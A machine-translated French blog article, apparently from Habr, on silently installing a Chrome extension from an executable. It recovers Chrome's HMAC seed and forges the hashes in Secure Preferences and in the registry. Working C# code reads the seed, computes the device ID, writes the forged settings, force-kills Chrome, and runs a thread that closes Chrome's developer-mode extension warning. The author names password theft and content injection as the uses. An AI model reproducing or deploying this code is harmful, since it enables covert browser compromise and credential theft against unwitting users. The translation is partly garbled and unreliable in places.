Installation inversée et d'extension de Chrome



Bonjour, cher lecteur! Chrome est en cours de mise à jour, mais il n'y a pas de nouveaux articles sur la façon d'installer par programmation une extension dans Chrome, à part --load-extension - mais ce n'est pas notre option, car nous ne cherchons pas de moyens faciles. Aujourd'hui, je vais vous dire comment il est vraiment possible de tout obtenir avec un seul exe-shnik: mots de passe, remplacement de contenu, comment voler, etc. - mais ce n'est pas un appel à l'action , mais seulement un article à réviser. Tout le jus sous la coupe.

Et alors, qu'est-ce qui nous permet de faire l'extension en mode développeur? Eh bien, comme une extension régulière, elle peut fonctionner sur tous les sites et, par exemple, casser des mots de passe, implémenter des publicités, etc. Mais l'extension en mode développeur donne accès à une autre fonctionnalité, qui ne semble pas très importante, mais peut devenir utile: nous avons accès au système de fichiers. Oui, nous allons exécuter cet exploit à partir d'un fichier exe et, en principe, nous n'en avons pas vraiment besoin, mais si?

Nous analysons les fichiers


Et donc, pour commencer, vous pouvez voir quels fichiers différeront après l'installation de l'extension, nous pouvons constater qu'il s'agit de% appdata% \ .. \ Local \ Google \ Chrome \ User Data \ <profile> \ Secure Preferences. Copions le contenu, supprimons l'extension et restaurons la copie - bam ici! et l'expansion fonctionne à nouveau. En regardant l'ID, vous pouvez voir que deux valeurs changent avec cette clé: extensions.settings.id et protection.macs.extensions.settings.id - le premier est les paramètres, le second est une sorte de hachage. Nous montons dans les sortes et voyons - c'est le HMAC SHA256. Mais d'où vient-il? Entrons dans le débogueur, attachons-nous au chrome et chargeons les symboles depuis
https://chromium-browser-symsrv.commondatastorage.googleapis.com

Colza chrome


Ouah! On retrouve le fichier pref_hash_calculator.cc, téléchargez, mettez une pause sur

 std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const 

Op - nous obtenons seed_ - la clé pour HMAC, et nous découvrons également qu'il concatène trois lignes et prend le résultat comme HMACSHA256 (device_id + path + value, seed_). D'accord, regardons notre seed_ - et ici le premier chagrin nous attend: c'est juste la ligne "ChromeRegistryHashStoreValidationSeed" - demandez, qu'est-ce qui ne va pas? Et regardons le résultat du calcul, comparons le hachage résultant et le hachage dans le fichier le long de ce chemin - nous sommes déçus, mais non! Le mot clé dans la clé «Registre», nous montons dans le registre, regardez - et en effet, c'est la clé pour les hachages dans le registre, nous en aurons besoin.

Débit, avilissement et partout seulement cette clé, qu'est-ce qui ne va pas? Voyons maintenant combien de temps une clé standard pour le HMACSHA256 doit être? 64 octets, et ce n'est probablement pas une ligne, mais une sorte d'octet. Tri? N'as pas le temps! La première hypothèse - notre seed_ est codé en dur dans chaque version de chrome - essayons de trier toutes les options pour 64x octets consécutifs dans les fichiers binaires et les fichiers chrome. Nous écrivons un script simple et en environ une heure nous obtenons le premier résultat: notre seed_ se trouve dans resources.pak. Faisons une recherche sur la structure.



Version 4, la nôtre est 5. Quelque chose ne va pas, peut-être que la structure n'a pas changé? Mais non. Après quelques tentatives, nous obtenons que la structure est la suivante: version 4 octets (5), 4 octets - encodage? (1), 2 octets - nombre d'enregistrements, 2 octets on ne sait pas quoi. Viennent ensuite les entrées au format: 2 octets - ID, 4 octets - décalage par rapport au début du fichier. Nous recherchons une section d'une longueur de 64 octets - et oui, nous la trouvons, c'est notre seed_. Écrivons maintenant une fonction pour rechercher seed_ dans resources.pak pour les fichiers de version 4 et 5:

 public static byte[] GetSeed(string resources_pak) { //Open stream using (FileStream fs = File.OpenRead(resources_pak)) using (BinaryReader reader = new BinaryReader(fs)) { // Read in all pairs. //4 bytes - Version (Assume, that is 5 or 4) int version = reader.ReadInt32(); int second_dword = reader.ReadInt32(); int count = 0; if (version == 0x05) { count = (reader.ReadUInt16()) + 1; reader.ReadUInt16(); } else { count = second_dword; //Skip useless byte reader.ReadByte(); } uint last_offset = (uint)(count) * 6 + (uint)fs.Position; for (int i = 0; i < count; i++) { //Word: ID uint id = (uint)reader.ReadInt16(); //DWord: Offset from file start uint offset = (reader.ReadUInt32()); //Assume, that seed_ is 64 bytes long if (offset - last_offset == 64) { //Save last position in file long last = fs.Position; //Go to section position fs.Seek(last_offset, SeekOrigin.Begin); //Allocate space uint want = offset - last_offset; byte[] u = new byte[want]; for (int o = 0; o < want; o++) u[o] = reader.ReadByte(); //Return carret back fs.Seek(last, SeekOrigin.Begin); return u; } last_offset = offset; } } return null; } 

D'accord, modifions les paramètres et essayons de remplacer le hachage - échec. La première chose que l'on peut trouver dans les tris de chrome est que tous les objets vides sont supprimés de la valeur. D'accord, c'est dit - c'est fait.

Encore une fois l'échec - nous devons également générer le même HMACSHA256 à partir de protection.macs, le chemin dans ce cas doit être omis. Super! Reçu. Mais, nous avons complètement oublié device_id - où puis-je l'obtenir? Dans les anciennes versions, il s'agit de MachineID d'une bibliothèque RLZ tierce. Dans les nouveaux, juste le SID du PC. Comment l'obtenir? Pour la deuxième option et les nouvelles versions de chrome:

 public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else { // Consider throwing an exception since no result was found } if (err == 0) { if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid)) { err = Marshal.GetLastWin32Error(); } else { string sidString = Marshal.PtrToStringAuto(ptrSid); LocalFree(ptrSid); return sidString; } } return null; } 

Et, pour l'ancienne version:

 public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); } 

Et donc, il reste à se moquer des paramètres et à enregistrer le fichier, mais en fermant le chrome:

  public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = "  "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process(); // Stop the process from opening a new window process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; // Setup executable and parameters process.StartInfo.FileName = @"taskkill.exe"; process.StartInfo.Arguments = "/im chrome.exe /f"; // Go process.Start(); process.WaitForExit(); Thread.Sleep(150); File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences); } 

Notez également que maintenant, lorsque vous ouvrez le navigateur, la fenêtre "Désactiver les extensions en mode développeur" s'ouvre - comment le fermer est déjà le choix de tout le monde. Comment puis-je laisser un flux après moi qui fermera cette fenêtre via WinAPI:

 public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } } 

Bonne chance et piratage éthique! Qui sait faire la même chose avec le navigateur Yandex - il serait très intéressant de savoir si j'essaie de le récupérer depuis une semaine maintenant, cela ne fonctionne pas.

Source: https://habr.com/ru/post/fr438898/


All Articles